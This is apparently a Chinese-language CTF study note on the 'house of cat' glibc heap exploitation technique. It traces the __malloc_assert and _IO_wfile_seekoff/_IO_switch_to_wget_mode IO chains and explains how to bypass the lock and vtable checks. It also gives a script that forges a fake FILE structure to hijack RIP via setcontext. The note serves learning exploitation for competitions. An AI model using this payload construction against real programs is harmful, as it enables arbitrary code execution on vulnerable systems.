适用版本:
2.23-2.25
使用条件
--能任意写一个可控地址(如largebin attack)
--能泄露 libc 地址和 heap 地址
--能触发 IO 流(三种方式)
1.调用exit或从main退出
2. puts、printf函数调用
3. _malloc_assert
源码分析:
关键点:
两条io链条:
1.malloc_assert -> fxprintf -> vfxprintf->locked_vfxprintf -> vfprintf_internal -> IO->vtable->_IO_file_xsputn-->IO_wfile_seekoff
2.IO_wfile_seekoff -> _IO_switch_to_wget_mode->IO_WOVERFLOW
攻击脚本如下:
fake_io的伪造
fake_struct = p64(0) #_IO_read_end
fake_struct += p64(0) #_IO_read_base
fake_struct += p64(0) #_IO_write_base
fake_struct += p64(0) #_IO_write_ptr
fake_struct += p64(0) #_IO_write_end
fake_struct += p64(0) #_IO_buf_base
fake_struct += p64(1) #_IO_buf_end
fake_struct += p64(0) #_IO_save_base
fake_struct += p64(fake_io_addr + 0xb0) #_IO_backup_base = rdx
fake_struct += p64(setcontext + 61) #_IO_save_end = call_addr
fake_struct += p64(0) #_markers
fake_struct += p64(0) #_chain
fake_struct += p64(0) #_fileno
fake_struct += p64(0) #_old_offset
fake_struct += p64(0) #_cur_column
fake_struct += p64(heap_base + 0x200) #_lock = heap_addr or writeable libc_addr
fake_struct += p64(0) #_offset
fake_struct += p64(0) #_codecvx
fake_struct += p64(fake_io_addr + 0x30) #_wfile_data rax1
fake_struct += p64(0) #_freers_list
fake_struct += p64(0) #_freers_buf
fake_struct += p64(0) #__pad5
fake_struct += p32(0) #_mode
fake_struct += b"\x00"*20 #_unused2
fake_struct += p64(_IO_wfile_jumps + 0x10) #vatable
fake_struct += p64(0)*6 #padding
fake_struct += p64(fake_io_addr + 0x40) #rax2 -> to make [rax+0x18] = setcontext + 61
接下来通过源码调试加io链条的路线去解析这个脚本的由来,以及整个路线的分析
注意事项!!!
写调试脚本的时候p stderr的值不是我们要的 我们要找的是存放它的值然后修改是p &stderr,这里卡了我挺久的........我是说怎么调试不对
第一条链
__malloc_assert的触发
该函数的内容
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
这是__malloc_assert的内容,会执行入fxprintf 然后进入abort
该函数被调用的条件
_int_malloc---->sysmalloc---->__malloc_assert
也就是说能走到sysmalloc就可以执行__malloc_assert
是通过_int_malloc的部分进行的sysmalloc的调用,和调用有关的源码如下
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) {
// 当可用内存块大小大于等于请求大小和最小块大小之和时
remainder_size = size - nb; // 计算剩余大小
remainder = chunk_at_offset(victim, nb); // 获取剩余块
av->top = remainder; // 更新top块
set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); // 设置请求块头
set_head(remainder, remainder_size | PREV_INUSE); // 设置剩余块头
check_malloced_chunk(av, victim, nb); // 检查分配的块
void *p = chunk2mem(victim); // 获取用户指针
alloc_perturb(p, bytes); // 调用perturb函数
return p; // 返回用户指针
}
else if (atomic_load_relaxed(&av->have_fastchunks)) {
// 如果有快速释放的块存在
malloc_consolidate(av); // 合并小块减少碎片
if (in_smallbin_range(nb)) // 恢复原始bin索引
idx = smallbin_index(nb);
else
idx = largebin_index(nb);
}
else {
void *p = sysmalloc(nb, av); // 调用系统内存分配
if (p != NULL)
alloc_perturb(p, bytes); // 调用perturb函数
return p; // 返回用户指针
}
// 结束函数
要到最后一个else才可以执行
1.可用内存块大小大于小于请求大小和最小块大小之和时,也就是top chunk无法满足的时候可以触发
sysmalloc关于__malloc_assert的调用代码:
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
在C语言中,assert
是一个宏,用于帮助在开发和调试过程中验证程序的假设。但当这些假设不成立时,assert
会引发程序崩溃或终止
当 assert
条件为假时,assert
宏会打印错误信息并调用 abort
函数终止程序。
检测条件
- old_size >= 0x20;
- old_top.prev_inuse = 0;
- old_top页对齐
fxprintf -> vfxprintf
这里可以没有遇到困难可以直接到
int __vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (fp == NULL)
fp = stderr;
_IO_flockfile (fp);
int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
_IO_funlockfile (fp);
return res;
}
第一个阻碍点
接着往下面走
在这里卡住了我们看一下源码
_IO_flockfile的源码
# define _IO_flockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)
_IO_lock_lock的源码
#define _IO_lock_lock(_name) \
do { \
void *__self = THREAD_SELF; \
if ((_name).owner != __self) \
{ \
lll_lock ((_name).lock, LLL_PRIVATE); \
(_name).owner = __self; \
} \
++(_name).cnt; \
} while (0)
可以看到进了之后就是一个无限循环,死锁。所以我们要绕过这个,通过上面的代码可以得到条件
1.fp-->flag要是一个可读取的地址
然后就可以绕过这个检测
locked_vfxprintf -> vfprintf_internal直接可以进
第二个障碍点
然后接着往下面走发现进不了vtable,通过源码调试发现
不能进入_IO_vtable_check 进入就代表没过检测,这里检测vtable的位置于是出现了第二个障碍点
1.通过修改fake_io的结构来给虚表的位置赋值为_IO_file_xsputn+0x10
第二条链也是house of cat的关键
第三个障碍
1.这个地方需要fp-->wide_data要有值
2.这个值指向的两个位置一个是IO_write_ptr一个是IO_write_base,前者要比后者小才对**,不然就无法使was_writting为true
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
然后就进入_IO_switch_to_wget_mode
劫持rip流
通过rax-->[rax+0xe0]--> 到call [rax+0xe0]+0x18 来劫持rip
还可以劫持rdx
0x7ffff7e07cbf <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20] RDX, [0x5555555592b0] => 2
成功劫持,至此house of cat的过程结束